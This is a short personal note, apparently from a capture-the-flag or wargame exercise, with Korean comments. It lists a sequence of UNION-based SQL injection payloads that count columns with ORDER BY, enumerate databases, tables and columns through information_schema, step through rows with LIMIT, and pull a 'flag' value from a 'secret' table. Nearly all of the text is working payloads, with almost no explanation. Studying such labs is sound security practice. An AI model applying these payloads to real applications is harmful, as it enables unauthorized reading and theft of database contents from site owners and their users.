SQL Injection 2 - order by, union, limit

 

 

 

' order by 6 #

 

 

' union select 1,2,3,4,5,6 #

 

' union select 1,2,3,4,5,database() from information_schema.tables #

 

 

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' #

table_schma = database() 임

 

 

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' #

 

 

 

2차

' union select 1,2,3,4,5,table_name from information_schema.tables #

 

 

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'CHARACTER_SETS'#

 

 

' union select 1,2,3,4,5,CHARACTER_SET_NAME from CHARACTER_SETS #

이 안에는 아무것도 없음

 

 

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 2,1#

sqli_5 데이터베이스 안에 있는 3번째 행의 테이블 이름이 secret

 

 

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' #

 

 

' union select 1,2,3,4,5,flag from secret #

 

 

' union select 1,2,3,4,5,flag from secret limit 1,1 #